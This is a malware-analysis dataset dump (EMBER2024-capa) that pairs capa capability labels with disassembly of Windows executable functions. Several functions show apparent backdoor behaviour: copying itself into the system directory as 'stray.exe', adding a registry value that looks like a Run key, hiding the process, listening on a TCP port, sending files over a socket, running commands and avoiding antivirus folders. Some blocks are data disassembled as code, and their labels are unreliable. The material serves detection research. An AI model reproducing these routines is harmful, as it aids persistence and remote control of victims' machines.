joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4193d2
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
call fcn.0040e85a
xor ebx, ebx
cmp dword [0x42a524], ebx
mov dword [ebp - 8], eax
mov dword [ebp - 4], ebx
mov dword [ebp - 0xc], ebx
mov dword [ebp - 0x10], ebx
jne 0x4194a8
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
cmp edi, ebx
je 0x419588
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x4211ec
push edi
call esi
cmp eax, ebx
je 0x419588
push eax
call fcn.0040e7ec
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x42a524], eax
call esi
push eax
call fcn.0040e7ec
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x42a528], eax
call esi
push eax
call fcn.0040e7ec
mov dword [0x42a52c], eax
lea eax, [ebp - 0xc]
push eax
call fcn.0040bfef
test eax, eax
pop ecx
pop ecx
je 0x419476
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.0040ee18
add esp, 0x14
cmp dword [ebp - 0xc], 2
jne 0x4194a8
push str.GetUserObjectInformationA
push edi
call esi
push eax
call fcn.0040e7ec
cmp eax, ebx
pop ecx
mov dword [0x42a534], eax
je 0x4194a8
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.0040e7ec
pop ecx
mov dword [0x42a530], eax
mov eax, dword [0x42a530]
mov ecx, dword [ebp - 8]
cmp eax, ecx
je 0x41952d
cmp dword [0x42a534], ecx
je 0x41952d
push eax
call fcn.0040e863
push dword [0x42a534]
mov esi, eax
call fcn.0040e863
cmp esi, ebx
pop ecx
pop ecx
mov edi, eax
je 0x41952d
cmp edi, ebx
je 0x41952d
call esi
cmp eax, ebx
je 0x4194fa
lea ecx, [ebp - 0x14]
push ecx
push 0xc
lea ecx, [ebp - 0x20]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x4194fa
test byte [ebp - 0x18], 1
jne 0x41952d
lea eax, [ebp - 0x10]
push eax
call fcn.0040c026
test eax, eax
pop ecx
je 0x419515
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.0040ee18
add esp, 0x14
cmp dword [ebp - 0x10], 4
jb 0x419524
or dword [ebp + 0x10], 0x200000
jmp 0x419568
or dword [ebp + 0x10], 0x40000
jmp 0x419568
mov eax, dword [0x42a528]
cmp eax, dword [ebp - 8]
je 0x419568
push eax
call fcn.0040e863
cmp eax, ebx
pop ecx
je 0x419568
call eax
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x419568
mov eax, dword [0x42a52c]
cmp eax, dword [ebp - 8]
je 0x419568
push eax
call fcn.0040e863
cmp eax, ebx
pop ecx
je 0x419568
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x42a524]
call fcn.0040e863
cmp eax, ebx
pop ecx
je 0x419588
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x41958a
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x417e10
Capabilities:
Query or enumerate registry value

Disassembly:
mov al, byte [0x4c3049]
mov dl, byte [0x4c3044]
and al, dl
mov edx, dword [0x4c3038]
or al, 0x8b
sub esp, 0xc
mov byte [0x4c3044], al

Function at 0x417e2d
Capabilities:
Query or enumerate registry value

Disassembly:
mov eax, dword [0x4c303c]
mov ecx, eax
push esi
shl ecx, 4
and edx, ecx
xor ecx, ecx
mov cl, byte [0x4c3045]
mov dword [0x4c3038], edx
mov edx, dword [0x4c3034]
xor esi, esi
and edx, 8
imul edx, ecx
or eax, edx
mov edx, dword [0x4c6b1c]
push edx
mov dword [0x4c303c], eax
call sub.WINSPOOL.DRV_StartPagePrinter
lea eax, [esp + 4]
inc esp
and al, 4
push eax
push 0x20019
push esi
push str.CLSIDEC529B00_1A1F_11D1_BAD9_00609744111AInprocServer32
push 0x80000000
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x417e91
xor eax, eax
pop esi
add esp, 0xc
ret 4
mov ecx, dword [0x4c6b1c]
mov dword [esp + 0xc], 0x104
push ecx
call dword [sym.imp.USER32.dll_GetDlgCtrlID]
mov dl, byte [0x4c3049]
mov al, byte [0x4c3048]
xor al, dl
mov edx, dword [esp + 0x14]
mov byte [0x4c3048], al
mov al, byte [0x4c3043]
or al, 8
lea ecx, [esp + 0xc]
shr al, 3
and eax, 0xff
push ecx
mov dword [esp + 0xc], eax
mov eax, dword [esp + 8]
fild dword [esp + 0xc]
push edx
push 0
push 0
push str.ThreadingModel
fdivr qword [0x4c69d0]
push eax
fadd qword [0x4c3050]
fstp qword [0x4c69c0]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x417f08
mov esi, 1
push 0x4c7d38
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov ecx, dword [esp + 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0xc
ret 4

Function at 0x4260e0
Capabilities:
Encode data using xor

Disassembly:
xor ecx, dword [edx]
add dword [ebx - 0x1ad56a6a], esi
jmp 0x426145
nop
mov ebx, 0x2e468f6
adc byte [ebp - 0x4e], al
mov edi, 0x5b2d5165
mov al, 0xef
push ecx
ljmp 0xc921
div byte [ecx + 0x708836fb]
fcomp dword [bp + di + 0xe]
mov byte [eax + 0x67], dh
fcomp dword [ebx + 0xe]
xor eax, 0x747255b8
push eax
loopne 0x426113
push ss
sal ebp, 0xc7
xchg ebp, eax
arpl word [ecx], cx
mov eax, dword [0x9e886a2f]
add ah, byte [edi + edx*4 + 0x4872c3b6]
out 0x55, eax
and ebp, dword [eax + esi*4 + 0x4b96524e]
xchg esi, eax
inc ebp
test byte [ebx + 0x35edbd79], al
mov cl, 0x37
ror byte [edx], cl
wait
aad 0xc2
jp 0x426141
scasb al, byte es:[edi]
xchg ecx, eax
std
xor bl, byte [ebp + 0x22573b34]
mov edi, 0x3991e4e5
invalid

Function at 0x441097
Capabilities:
Encode data using add xor sub operations
Encode data using xor

Disassembly:
or eax, 0xbab077b0
mov al, 0xba
mov eax, dword [0x2c534da5]
add byte [eax], ah
rcl bl, 1
push esi
xor eax, edi
fist dword [eax]
and byte [edi], ch
sub byte [edx - 0x6d], ah
in eax, dx
jnp 0x44109a
or al, 0xc6
nop
int3
Function at 0x4bb71d
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x4c33d8
cmp edx, dword [eax]
je 0x4bb73f
add eax, 8
inc ecx
cmp eax, 0x4c3468
jl 0x4bb730
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x4c33d8]
jne 0x4bb86d
mov eax, dword [0x4c7d9c]
cmp eax, 1
je 0x4bb847
test eax, eax
jne 0x4bb770
cmp dword [0x4c3300], 1
je 0x4bb847
cmp edx, 0xfc
je 0x4bb86d
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x4bb7a7
lea eax, [ebp - 0x1a4]
push 0x4c09d8
push eax
call fcn.004bc100
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.004bc590
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x4bb7ea
lea eax, [ebp - 0x1a4]
push eax
call fcn.004bc590
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x4c09d4
push edi
call fcn.004be460
add esp, 0x10
lea eax, [ebp - 0xa0]
push 0x4c09b8
push eax
call fcn.004bc100
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.004bc110
lea eax, [ebp - 0xa0]
push 0x4c09b4
push eax
call fcn.004bc110
push dword [esi + 0x4c33dc]
lea eax, [ebp - 0xa0]
push eax
call fcn.004bc110
push 0x12010
lea eax, [ebp - 0xa0]
push 0x4c098c
push eax
call fcn.004be3d4
add esp, 0x2c
pop edi
jmp 0x4bb86d
invalid
inc ebp

Function at 0x4bb849
Capabilities:
Write file on windows

Disassembly:
or byte [ebp + 0x4c33dcb6], cl
add byte [edx], ch
Function at 0x401000
Capabilities:
Contain obfuscated stackstrings
Create thread
Get common file path
Get hostname
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x424
push ebx
xor ebx, ebx
cmp dword [ebp + 0xc], ebx
push esi
push edi
jne 0x4010c7
push ebx
push str.service
call dword [sym.imp.USER32.dll_FindWindowA]
test eax, eax
jne 0x4010c7
mov esi, 0x405560
push 0x104
push esi
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push esi
mov esi, 0x405300
push esi
mov byte [ebp - 0x154], 0x6d
mov byte [ebp - 0x153], 0x61
mov byte [ebp - 0x152], 0x6e
mov byte [ebp - 0x151], 0x61
mov byte [ebp - 0x150], 0x67
mov byte [ebp - 0x14f], 0x65
mov byte [ebp - 0x14e], 0x72
mov byte [ebp - 0x14d], 0x2e
mov byte [ebp - 0x14c], 0x75
mov byte [ebp - 0x14b], 0x73
mov byte [ebp - 0x14a], 0x65
mov byte [ebp - 0x149], bl
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x405094
push esi
call edi
lea eax, [ebp - 0x154]
push eax
push esi
call edi
lea eax, [ebp - 0x294]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
je 0x4010cf
push 1
pop eax
jmp 0x401203
lea eax, [ebp - 0x424]
push eax
push 0x101
call sub.WSOCK32.dll_WSAStartup
test eax, eax
jne 0x401153
mov edi, dword [ebp + 8]
lea eax, [ebp - 0x30]
mov esi, str.service
push eax
mov dword [ebp - 0x30], 0x30
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x28], 0x402ae4
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x1c], edi
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0xc], ebx
mov dword [ebp - 8], esi
mov dword [ebp - 4], ebx
call dword [sym.imp.USER32.dll_RegisterClassExA]
test ax, ax
jne 0x401136
lea eax, [ebp - 0x2c]
push eax
call dword [sym.imp.USER32.dll_RegisterClassA]
test ax, ax
je 0x401153
push ebx
push edi
push ebx
push ebx
push ebx
push ebx
push 0xffffffffffffffff
push 0xffffffffffffffff
push ebx
push ebx
push esi
push ebx
call dword [sym.imp.USER32.dll_CreateWindowExA]
cmp eax, ebx
mov dword [0x405404], eax
jne 0x40115a
xor eax, eax
jmp 0x401203
push ebx
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push 1
lea eax, [ebp + 0xc]
pop esi
mov dword [ebp + 0xc], 0x10
push eax
push 0x405420
mov dword [0x405de4], ebx
mov dword [0x405438], esi
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
call fcn.0040120a
mov dword [0x405408], ebx
call fcn.00402ff8
call fcn.004014c8
lea eax, [ebp - 0x34]
push eax
push ebx
push ebx
push 0x40158d
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
cmp dword [0x405438], ebx
je 0x4011ef
cmp dword [0x405438], esi
jne 0x4011cc
cmp dword [0x405de4], ebx
jne 0x4011cc
call fcn.0040176c
push ebx
push ebx
lea eax, [ebp - 0x50]
push ebx
push eax
call dword [sym.imp.USER32.dll_GetMessageA]
lea eax, [ebp - 0x50]
push eax
call dword [sym.imp.USER32.dll_TranslateMessage]
lea eax, [ebp - 0x50]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageA]
jmp 0x4011af
call sub.WSOCK32.dll_WSACleanup
push dword [0x405404]
call dword [sym.imp.USER32.dll_DestroyWindow]
mov eax, dword [ebp - 0x48]
pop edi
pop esi
pop ebx
leave
ret 0x10
Function at 0x40120a
Capabilities:
Copy file
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
push ebx
push esi
lea eax, [ebp - 0x108]
push 0x104
xor ebx, ebx
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov esi, 0x405300
push 0x405560
push esi
mov byte [0x405ce0], 0x5c
mov byte [0x405ce1], 0x73
mov byte [0x405ce2], 0x74
mov byte [0x405ce3], 0x72
mov byte [0x405ce4], 0x61
mov byte [0x405ce5], 0x79
mov byte [0x405ce6], 0x2e
mov byte [0x405ce7], 0x65
mov byte [0x405ce8], 0x78
mov byte [0x405ce9], 0x65
mov byte [0x405cea], bl
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x405ce0
push esi
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push ebx
lea eax, [ebp - 0x108]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
call fcn.00401331
lea eax, [ebp - 4]
mov byte [0x4052ea], 0x52
push eax
push 3
push ebx
push 0x4052c0
push reloc.WSOCK32.dll_bind
mov byte [0x4052eb], 0x75
mov byte [0x4052ec], 0x6e
mov byte [0x4052ed], bl
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40132d
lea eax, [ebp - 0x108]
push edi
push eax
call fcn.00401e37
mov edi, eax
mov esi, 0x405680
push edi
push esi
call sub.MSVCRT.dll_strcpy
push edi
call sub.MSVCRT.dll_strlen
add esp, 0x10
mov byte [eax + edi - 4], bl
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
push eax
push esi
push 1
push ebx
push edi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4014c8
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
and byte [ebp - 0x28], 0
mov esi, eax
lea eax, [ebp - 0x34]
mov byte [ebp - 0x34], 0x4b
push eax
mov byte [ebp - 0x33], 0x45
mov byte [ebp - 0x32], 0x52
mov byte [ebp - 0x31], 0x4e
mov byte [ebp - 0x30], 0x45
mov byte [ebp - 0x2f], 0x4c
mov byte [ebp - 0x2e], 0x33
mov byte [ebp - 0x2d], 0x32
mov byte [ebp - 0x2c], 0x2e
mov byte [ebp - 0x2b], 0x44
mov byte [ebp - 0x2a], 0x4c
mov byte [ebp - 0x29], 0x4c
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
and byte [ebp - 0x1e], 0
lea ecx, [ebp - 0x34]
push ecx
push eax
mov dword [0x4052b0], eax
mov byte [ebp - 0x34], 0x52
mov byte [ebp - 0x33], 0x65
mov byte [ebp - 0x32], 0x67
mov byte [ebp - 0x31], 0x69
mov byte [ebp - 0x30], 0x73
mov byte [ebp - 0x2f], 0x74
mov byte [ebp - 0x2e], 0x65
mov byte [ebp - 0x2d], 0x72
mov byte [ebp - 0x2c], 0x53
mov byte [ebp - 0x2b], 0x65
mov byte [ebp - 0x2a], 0x72
mov byte [ebp - 0x29], 0x76
mov byte [ebp - 0x28], 0x69
mov byte [ebp - 0x27], 0x63
mov byte [ebp - 0x26], 0x65
mov byte [ebp - 0x25], 0x50
mov byte [ebp - 0x24], 0x72
mov byte [ebp - 0x23], 0x6f
mov byte [ebp - 0x22], 0x63
mov byte [ebp - 0x21], 0x65
mov byte [ebp - 0x20], 0x73
mov byte [ebp - 0x1f], 0x73
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x40158a
push 1
push esi
call eax
pop esi
leave
ret
Function at 0x40176c
Capabilities:
Create tcp socket
Create udp socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push 0
push 1
push 2
call sub.WSOCK32.dll_socket
cmp eax, 0xffffffff
mov dword [0x4052ac], eax
je 0x4017fa
push 8
push 0x401
push dword [0x405404]
push eax
call sub.WSOCK32.dll_WSAAsyncSelect
cmp eax, 0xffffffff
je 0x4017ef
push 0x10
lea eax, [ebp - 0x10]
push 0
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x80
call sub.WSOCK32.dll_htons
and dword [ebp - 0xc], 0
mov word [ebp - 0xe], ax
lea eax, [ebp - 0x10]
push 0x10
push eax
mov word [ebp - 0x10], 2
push dword [0x4052ac]
call sub.WSOCK32.dll_bind
cmp eax, 0xffffffff
je 0x4017ef
push 5
push dword [0x4052ac]
call sub.WSOCK32.dll_listen
cmp eax, 0xffffffff
jne 0x4017fe
push dword [0x4052ac]
call sub.WSOCK32.dll_closesocket
xor eax, eax
leave
ret
push 1
pop eax
leave
ret
Function at 0x401bb5
Capabilities:
Delete registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
call fcn.00401331
mov al, byte [ebp + 8]
and byte [ebp - 8], 0
mov byte [ebp - 0xa], al
lea eax, [ebp - 4]
push eax
push 4
push 0
push 0x4052c0
push reloc.WSOCK32.dll_bind
mov byte [ebp - 0xc], 0x41
mov byte [ebp - 0xb], 0x53
mov byte [ebp - 9], 0x24
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x401c08
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
leave
ret

Function at 0x401c0a
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
push ecx
and byte [ebp - 1], 0
push ebx
push esi
push 1
mov bl, 0x63
pop esi
mov byte [ebp - 3], 0x3a
mov byte [ebp - 2], 0x5c
lea eax, [ebp - 4]
inc bl
push eax
mov byte [ebp - 4], bl
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp eax, 1
je 0x401c47
cmp eax, 2
jbe 0x401c49
cmp eax, 4
jbe 0x401c44
cmp eax, 6
jne 0x401c49
inc esi
jmp 0x401c49
xor bl, bl
test bl, bl
jne 0x401c21
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x401c53
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x244
and byte [ebp - 1], 0
inc dword [0x405544]
push esi
cmp dword [0x405544], 0xa
push edi
mov esi, 0x4050e0
lea edi, [ebp - 8]
mov byte [ebp - 4], 0x65
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov byte [ebp - 3], 0x78
mov byte [ebp - 2], 0x65
jbe 0x401c93
dec dword [0x405544]
jmp 0x401e0e
push dword [ebp + 8]
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0x104]
push 0x4050dc
push eax
call fcn.00401e12
pop ecx
lea eax, [ebp - 0x244]
pop ecx
push eax
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [ebp + 8], eax
je 0x401e0e
mov edi, dword [sym.imp.KERNEL32.dll_lstrcmpiA]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcmpA]
lea eax, [ebp - 0x218]
push eax
lea eax, [ebp - 0x104]
push eax
call fcn.00401e12
test byte [ebp - 0x244], 0x10
pop ecx
lea eax, [ebp - 0x104]
pop ecx
push eax
je 0x401d80
call fcn.00401e37
mov esi, eax
mov dword [esp], str.Norton_AntiVirus
push esi
call edi
test eax, eax
je 0x401de6
push str.system32
push esi
call edi
test eax, eax
je 0x401de6
lea eax, [ebp - 7]
push eax
push esi
call ebx
test eax, eax
je 0x401de6
lea eax, [ebp - 8]
push eax
push esi
call ebx
test eax, eax
je 0x401de6
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [ebp + eax - 0x104]
mov byte [esi], 0x5c
and byte [ebp + eax - 0x103], 0
lea eax, [ebp - 0x104]
push eax
call fcn.00401c53
and byte [esi], 0
pop ecx
jmp 0x401de6
call fcn.00401e37
mov esi, eax
mov dword [esp], str.Klmain.exe
push esi
call edi
test eax, eax
je 0x401de6
push str.ccregvfy.exe
push esi
call edi
test eax, eax
je 0x401de6
push str.osa.exe
push esi
call edi
test eax, eax
je 0x401de6
lea eax, [ebp - 0x104]
push eax
call fcn.00401e4e
test eax, eax
pop ecx
je 0x401de6
lea ecx, [ebp - 4]
push ecx
push eax
call edi
test eax, eax
jne 0x401de6
lea eax, [ebp - 0x104]
push eax
call fcn.00401e65
cmp eax, 2
pop ecx
je 0x401de6
push 0x1b58
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x244]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x401ce3
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_FindClose]
dec dword [0x405544]
pop ebx
pop edi
pop esi
leave
ret
Function at 0x40280a
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
mov eax, dword [0x405010]
push esi
add eax, 8
push edi
push eax
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov eax, dword [0x405010]
xor edi, edi
push edi
push 0x20
mov esi, dword [eax + 4]
push 2
push edi
push edi
lea eax, [ebp - 0x110]
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 4], eax
cmp eax, 0xffffffff
mov eax, dword [0x405010]
jne 0x40286e
push 0x400
mov dword [eax], 0x42781402
call fcn.00401803
pop ecx
jmp 0x4028be
push 0x400
mov dword [eax], 0x42732304
call fcn.00401803
cmp eax, 0xffffffff
pop ecx
je 0x4028b5
cmp esi, edi
mov dword [ebp - 8], edi
je 0x4028b5
push ebx
call fcn.0040183c
mov ebx, eax
cmp ebx, 0xffffffff
je 0x4028b4
lea eax, [ebp - 0xc]
push edi
push eax
push ebx
push 0x4058c0
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_WriteFile]
add dword [ebp - 8], ebx
cmp dword [ebp - 8], esi
jne 0x40288c
pop ebx
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
leave
ret

Function at 0x4028c2
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x100
mov eax, dword [0x405010]
push edi
add eax, 8
push eax
lea eax, [ebp - 0x100]
push eax
call sub.MSVCRT.dll_strcpy
pop ecx
lea eax, [ebp - 0x100]
pop ecx
push 0
push 0x20
push 3
push 0
push 1
push accept
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
push 0
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
cmp eax, 0xffffffff
je 0x402946
cmp edi, 0xffffffff
je 0x402946
mov ecx, dword [0x405010]
push 0x400
mov dword [ecx + 4], eax
mov eax, dword [0x405010]
mov dword [eax], 0x42732304
call fcn.00401803
pop ecx
cmp eax, 0xffffffff
push edi
je 0x40295d
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.00402a0b
jmp 0x402963
mov eax, dword [0x405010]
push 0x400
mov dword [eax], 0x42781402
call fcn.00401803
pop ecx
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
leave
ret

Function at 0x402966
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x100
mov eax, dword [0x405010]
add eax, 8
push eax
lea eax, [ebp - 0x100]
push eax
call sub.MSVCRT.dll_strcpy
pop ecx
lea eax, [ebp - 0x100]
pop ecx
push 1
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
cmp eax, 0x1f
mov eax, dword [0x405010]
jae 0x4029a7
mov dword [eax], 0x42781402
jmp 0x4029ad
mov dword [eax], 0x42732304
push 0x400
call fcn.00401803
pop ecx
leave
ret

Function at 0x4029ba
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x100
mov eax, dword [0x405010]
add eax, 8
push eax
lea eax, [ebp - 0x100]
push eax
call sub.MSVCRT.dll_strcpy
pop ecx
lea eax, [ebp - 0x100]
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
mov eax, dword [0x405010]
jne 0x4029f8
mov dword [eax], 0x42781402
jmp 0x4029fe
mov dword [eax], 0x42732304
push 0x400
call fcn.00401803
pop ecx
leave
ret
Function at 0x402a0b
Capabilities:
Get file size
Read and send data from client to server
Read file on windows
Send data
Send data on socket

Disassembly:
mov eax, dword [0x405010]
sub esp, 0x100
add eax, 8
push ebx
push esi
push edi
push eax
lea eax, [esp + 0x10]
push eax
call sub.MSVCRT.dll_strcpy
pop ecx
xor esi, esi
pop ecx
lea eax, [esp + 0xc]
push esi
push 0x20
push 3
push esi
push 1
push accept
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
cmp edi, 0xffffffff
je 0x402ac0
cmp ebx, 0xffffffff
je 0x402ac0
cmp edi, esi
push ebp
je 0x402ab4
mov esi, 0x4058c0
mov ebp, 0x400
cmp edi, ebp
jae 0x402a6e
mov ebp, edi
mov eax, edi
push 2
neg eax
push 0
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
push 0x405784
push ebp
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
push 0
push ebp
push esi
push dword [0x40540c]
call sub.WSOCK32.dll_send
cmp eax, 0xffffffff
jne 0x402ab0
call sub.WSOCK32.dll_WSAGetLastError
cmp eax, 0x2733
jne 0x402ab4
xor eax, eax
sub edi, eax
jne 0x402a63
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop ebp
jmp 0x402ac3
push 1
pop eax
pop edi
pop esi
pop ebx
add esp, 0x100
ret
Function at 0x402ccd
Capabilities:
Check os version
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x120
push esi
push edi
mov esi, 0x94
xor edi, edi
push esi
lea eax, [ebp - 0x9c]
push edi
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x9c]
mov dword [ebp - 0x9c], esi
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
jne 0x402d11
push str.___Unknwon__
jmp 0x402e3d
mov eax, dword [ebp - 0x8c]
sub eax, edi
je 0x402e38
dec eax
je 0x402e17
dec eax
jne 0x402e46
cmp dword [ebp - 0x98], 4
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
push ebx
mov ebx, dword [ebp + 8]
ja 0x402d48
push str.___Windows_NT
push ebx
call esi
cmp dword [ebp - 0x98], 5
jne 0x402d59
push str.___Windows_2000
push ebx
call esi
lea eax, [ebp - 4]
push eax
push 1
push edi
push str.SYSTEMCurrentControlSetControlProductOptions
push reloc.WSOCK32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x120]
push eax
push edi
push edi
push str.ProductType
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edi, dword [sym.imp.KERNEL32.dll_lstrcmpiA]
lea eax, [ebp - 0x120]
push eax
push str.WINNT
call edi
test eax, eax
jne 0x402db4
push str.Workstation
push ebx
call esi
lea eax, [ebp - 0x120]
push eax
push str.SERVERNT
call edi
test eax, eax
jne 0x402dce
push str.Server
push ebx
call esi
mov eax, dword [ebp - 0x90]
and eax, 0xffff
push eax
lea eax, [ebp - 0x88]
push eax
lea eax, [ebp - 0xd0]
push dword [ebp - 0x94]
push dword [ebp - 0x98]
push str.ver__d._d__s__Build__d_
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x18
lea eax, [ebp - 0xd0]
push eax
push ebx
call esi
push 0x405194
push ebx
call esi
pop ebx
jmp 0x402e46
cmp dword [ebp - 0x98], 4
ja 0x402e31
jne 0x402e2a
cmp dword [ebp - 0x94], edi
ja 0x402e31
push str.___Windows_95__
jmp 0x402e3d
push str.___Windows_98__
jmp 0x402e3d
push str.___Win32s__
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrcatA]
pop edi
pop esi
leave
ret